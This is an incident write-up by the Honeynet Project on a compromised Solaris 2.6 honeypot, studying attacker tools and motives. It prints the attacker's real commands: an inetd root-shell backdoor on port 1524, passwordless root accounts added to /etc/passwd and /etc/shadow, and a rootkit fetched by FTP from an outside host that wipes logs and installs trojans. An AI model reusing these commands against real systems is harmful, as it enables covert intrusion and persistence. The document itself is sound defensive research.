Honeynet Project
http://project.honeynet.org
Last Modified: 27 June, 2000
This paper is a continuation of
the Know Your Enemy
series. This series is dedicated to learning the tools and tactics
of the black-hat community. Unlike the previous papers which focused purely on
the "what" and "how" of the black-hat community, specifically the technical tools,
their use and implementation, this paper explores the motivation and psychology
of the black-hat community, in their very own words. Part I starts with the compromise
of a Solaris 2.6 system. Part II provides information
rarely published, a record of conversations and actions which took place over a fourteen-day
period following the compromise of a honeypot system.
Learn how and why black-hats attack systems. Once the Solaris 2.6 system was
compromised, the black-hat put an IRC bot on our system. This bot,
configured and implemented by the black-hat, captured all their conversations
on an IRC channel. We monitored these conversations over a two week
period, all of which are contained here. This paper is not meant
to be a generalization of the black-hat community. Instead, we present
a specific incident involving several individuals. However, this should
give you an idea of how certain members can think and behave. This is a
common threat that we all face in the security community, and we
sincerely hope other security professionals benefit from this work.
This information was obtained
through the use of a honeynet. A honeynet is a network of various
honeypots,
designed to be compromised by the black-hat community. While some honeypots
are used to divert the attention of attackers from legitimate systems, the purpose
of a honeynet is to learn the tools and tactics of the black-hat community.
Most of the information provided in this document has been sanitized. Specifically,
user identities and passwords, credit card numbers, and most of the system
names involved have all been changed. However, the actual technical tools and the chat
sessions themselves have not been sanitized. All this information was forwarded
to both CERT and the FBI before being released. Also, over
370 notifications were sent out to administrators of systems we believed
were compromised.
Foreword, by Brad Powell
Part I: The Compromise
A Solaris 2.6 default installation was used for our honeypot. No modifications
or patches were installed on the system. The vulnerabilities discussed
here exist in any default, unpatched installation of Solaris 2.6. That
is the whole purpose of the honeynet, to identify vulnerabilities in production
systems and learn how they are exploited. When exploited, we can then learn the tools and tactics of the
black-hat community. The honeynet itself is an environment designed to
track the black-hat's every move.
On June 4, 2000 our Solaris 2.6 honeypot was compromised with the rpc.ttdbserv Solaris exploit, which allows the execution of code via a buffer overflow in the ToolTalk object database server (CVE-1999-0003). Note that this exploit is also listed as #3 in SANS Top Ten List. This attack was both detected and alerted by snort, a sniffer based IDS system.
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
The rpc.ttdbserv exploit is a buffer overflow attack that allows the remote user to execute commands on the system as root. The following command was executed, giving the black-hat a backdoor. The service ingreslock (predefined in /etc/services as port 1524) is added to a file called '/tmp/bob', and then inetd is executed with '/tmp/bob' as the configuration file. /bin/sh is then bound to port 1524 and is running as root, giving the remote user root access.
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
Once the black-hat created this backdoor, he connected to port 1524, accessed a shell as root, and executed the following commands. He creates two user accounts, so he can telnet back in. Notice the errors and control characters, the shell on port 1524 does not have a proper environment.
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh"
>> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh"
>> /etc/passwd;
echo "r::10891::::::"
>> /etc/shadow;
echo "re::6445::::::"
>> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides
console May 24 21:09
^M: not found
# exit;
Our black-hat now has two accounts on our compromised system. He can now telnet it as the user 're', then su to the user 'r', which has UID 0, thus gaining root access. We will now review the actual keystrokes of the black-hat as they do just that, and more.
!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password:
abcdef
telnet (SYSTEM): passwd
successfully changed for re
Sun Microsystems Inc.
SunOS 5.6 Generic August 1997
$ su r
Our black-hat now has root access. As common, the next step is retrieve the rootkit and take control of the system . First, we see the black-hat create a 'hidden' directory to hide the rootkit.
# mkdir /dev/".. "
# cd /dev/".. "
After creating the directory, the black-hat retrieves the rootkit from another system.
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net
FTP server (Version 6.00) ready.
Name (shell.example.net:re):
j4n3
331 Password required
for j4n3.
Password:abcdef
230 User j4n3 logged
in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode
data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote:
sun2.tar
1727580 bytes received
in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode
data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote:
l0gin
47378 bytes received
in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
Once the rootkit is successfully downloaded, the kit is untared and installed. Notice how the entire rootkit is installed by executing a single script, setup.sh. This script also calls another script, secure.sh. You can download the entire Solaris rootkit used in this attack here.
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape
blocks
x sun2/me, 859600 bytes,
1679 tape blocks
x sun2/ls, 41708 bytes,
82 tape blocks
x sun2/netstat, 6784
bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes,
38 tape blocks
x sun2/setup.sh, 1962
bytes, 4 tape blocks
x sun2/ps, 35708 bytes,
70 tape blocks
x sun2/packet, 0 bytes,
0 tape blocks
x sun2/packet/sunst,
9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782
bytes, 20 tape blocks
x sun2/packet/sm, 32664
bytes, 64 tape blocks
x sun2/packet/newbc.txt,
762 bytes, 2 tape blocks
x sun2/packet/syn, 10488
bytes, 21 tape blocks
x sun2/packet/s1, 12708
bytes, 25 tape blocks
x sun2/packet/sls, 19996
bytes, 40 tape blocks
x sun2/packet/smaq,
10208 bytes, 20 tape blocks
x sun2/packet/udp.s,
10720 bytes, 21 tape blocks
x sun2/packet/bfile,
2875 bytes, 6 tape blocks
x sun2/packet/bfile2,
3036 bytes, 6 tape blocks
x sun2/packet/bfile3,
20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf,
11520 bytes, 23 tape blocks
x sun2/sys222, 34572
bytes, 68 tape blocks
x sun2/m, 9288 bytes,
19 tape blocks
x sun2/l0gin, 47165
bytes, 93 tape blocks
x sun2/sec, 1139 bytes,
3 tape blocks
x sun2/pico, 222608
bytes, 435 tape blocks
x sun2/sl4, 28008 bytes,
55 tape blocks
x sun2/fix, 10360 bytes,
21 tape blocks
x sun2/bot2, 508 bytes,
1 tape blocks
x sun2/sys222.conf,
42 bytes, 1 tape blocks
x sun2/le, 21184 bytes,
42 tape blocks
x sun2/find, 6792 bytes,
14 tape blocks
x sun2/bd2, 9608 bytes,
19 tape blocks
x sun2/snif, 16412 bytes,
33 tape blocks
x sun2/secure.sh, 1555
bytes, 4 tape blocks
x sun2/log, 47165 bytes,
93 tape blocks
x sun2/check, 46444
bytes, 91 tape blocks
x sun2/zap3, 13496 bytes,
27 tape blocks
x sun2/idrun, 188 bytes,
1 tape blocks
x sun2/idsol, 15180
bytes, 30 tape blocks
x sun2/sniff-10mb, 16488
bytes, 33 tape blocks
x sun2/sniff-100mb,
16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete
:-)
Here the rootkit installation script first cleans out the log files to delete the information associated with the black-hat's activities.
- WTMP:
/var/adm/wtmp is Sun
Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun
Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun
4 11:47:39 2000
/var/log/wtmp cannot
open
WTMP = /var/adm/wtmp
Removing user re at
pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun
Jun 4 11:47:39 2000
/usr/adm/utmp is Sun
Jun 4 11:47:39 2000
/etc/utmp is Sun Jun
4 11:47:39 2000
/var/log/utmp cannot
open
/var/run/utmp cannot
open
UTMP = /var/adm/utmp
Removing user re at
pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is
Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is
Sun Jun 4 11:47:39 2000
/etc/lastlog cannot
open
/var/log/lastlog cannot
open
LASTLOG = /var/adm/lastlog
User re has no wtmp
record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun
Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun
Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun
4 11:47:39 2000
/var/log/wtmpx cannot
open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun
Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun
Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun
4 11:47:39 2000
/var/log/utmpx cannot
open
/var/run/utmpx cannot
open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not
found
After cleaning the log files, the next step is to secure our system (how nice of them). They know we are an easy kill and they do not want anyone else to ruin their compromised system.
./secure.sh: rpc.ttdb=:
not found
#: securing.
#: 1) changing modes
on local files.
#: will add more local
security later.
#: 2) remote crap like
rpc.status , nlockmgr etc..
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
#: 3) killed statd ,
rpcbind , nlockmgr
#: 4) removing them
so they ever start again!
5) secured.
207 ?
0:00 inetd
11467 ?
0:00 inetd
cp: cannot access /dev/..
/sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun:
cannot execute
Next, an IRC proxy is launched. What is bizarre is that later on the script kills this process. I have no idea why.
Irc Proxy v2.6.4 GNU
project (C) 1998-99
Coded by James Seter
:bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon
port......:9879
Maxusers.........:0
Default
conn port:6667
Pid
File.........:./pid.sys222
Vhost
Default....:-SYSTEM DEFAULT-
Process
Id.......:11599
Exit ./sys222{7} :Successfully
went into the background.
More file modifications are done. Not seen from the script output are the copying of Trojan binaries, including /bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps. I highly recommend you review the source of the setup.sh script and the secure.sh script to see what actually happens. One day you may have to review a system that has been rooted with a similar kit.
# kill -9 11467
# ps -u root |grep |grep
inetd inetd
207 ?
0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=:
not found
#: securing.
#: 1) changing modes
on local files.
#: will add more local
security later.
#: 2) remote crap like
rpc.status , nlockmgr etc..
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
./secure.sh: usage:
kill [ [ -sig ] id ... | -l ]
#: 3) killed statd ,
rpcbind , nlockmgr
#: 4) removing them
so they ever start again!
5) secured.
# ppUs -u s -u U||U
grep grep ttUtdbtdb
Ups: option requires
an argument -- u
usage: ps [ -aAdeflcj
] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one
or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep
ttdbAdj | grep ttdb
Last, our black-hat launches an IRC bot. The purpose of this bot is to ensure they will maintain ops on the IRC channel of their choice. This bot also recorded all their conversations on the IRC channel. It is this bot that they installed on our compromised system that relayed their IRC chats on our network.
# ../me -f bot2
init: Using config file:
bot2
EnergyMech 2.7.1, December
2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000
07:06:04
Features: DYN, NEW,
SEF
init: Unknown configuration
item: "NOSEEN" (ignored)
init: Mechs added [
save2 ]
init: Warning: save2
has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
Once the bot was in place, they left the system alone. It is this bot that captured all of their conversations (see Part II below). For more information on IRC and how the black-hat community uses IRC and bots, we highly recommend the paper Tracking Hackers on IRC by David Brumley. Over the course of the following week they returned several times, only to confirm that they still had access. One week later, on 11 June, they connected again and attempted to use the system for Denial of Service attacks. However, the honeynet is designed to block any attempt to use a honeypot as a base of an attack against outside systems. All attempts to use the honeypot for a Denial of Service attack were automatically blocked.
What we have witnessed here are commonly used tools and tactics of the black-hat community. Our black-hat randomly scanned the Internet for a known vulnerability (in this case rpc.ttdbserv). Once identified, they quickly compromised the system and installed a rootkit using commonly scripted tools. Once they had control, they installed a bot, most likely to ensure they would maintain 'ops' on the IRC channels of their choice. What is uncommon are the two weeks of IRC chat sessions that their bot captured for us. In the next part of this paper, we discover the motivations and psychology of the black-hat community, in their own words. If you are concerned that your system(s) may have been compromised by similar means, review this checklist. It covers what to check for and links on how to react to a system compromise.
Part II: The IRC
Chat Sessions
Below are the actual chat sessions of the black-hat community, specifically
two individuals whom we will call D1ck and J4n3. Most of their chats will
happen on the IRC channel we will call K1dd13. You will read the activities
of these two main characters, and a variety of others. The chat sessions
are broken down by days, listed below. We recommend you read them
in sequence, so you can better understand what is going on. IRC channels,
IRC nicks, system names and IP addresses have been sanitized. All system
IP addresses have been replaced with RFC 1918 address space, all system
domain names have been replaced with 'example', and all credit card numbers
have been placed by 'xxxx'. Any similarities the IRC channels
or IRC nicks may have with the real world are purely coincidental. Be advised, some of the
language used is abusive in nature, we have chosen not to sanitize this.
Also, sometimes several of the black-hats will speak foreign languages.
Where possible, we have translated this into English. As you read these
chat sessions, take into consideration their lack of skill and networking
knowledge. Often you will see them attempting to figure out the most fundamental
of Unix skills. And yet, they are still able to compromise or damage a
large number of systems. This is not a threat to take lightly.
We have just reviewed 14 days in the life of the black-hat community. This is not meant to imply that all black-hats think and act like this. In fact, we have focused only on a few specific individuals. However, we hope this information gives you an idea of what many of the community are capable of. They may not be technically competent, or even understand the tools they are using. However by focusing on a large number of systems, they can achieve dramatic results. This is not a threat to take lightly. They are not concerned about what harm they may cause. They focus only on achieving their goals.
Conclusion
The purpose of this paper is to give you an understanding of the motives
and psychology of the black-hat community. The paper started off with the
system compromise of a Solaris 2.6 honeypot. It demonstrated a commonly
used remote exploit of a vulnerable system. Once compromised, the system
was quickly controlled with a rootkit, another commonly used tool among
the black-hat community. However, what makes this paper unique is the look
you get into the black-hat mentality. Here, you saw in their very own words
how they think and act, particularly how they can indiscriminately attack and damage
systems. They randomly probe large numbers of systems and attack the weakest systems
they can find. By understanding their motives and methods, you can better protect your systems
against this threat.
Acknowledgments
This paper is the result of the work and research of the Honeynet Project. The
Honeynet Project is a small group
of security professionals dedicated to learning the tools and tactics of
the black-hat community and sharing those lessons learned with the security
community.
We would like to thank Alan Paller of SANS. Though not a member of the Honeynet Project, he has helped make this research a reality.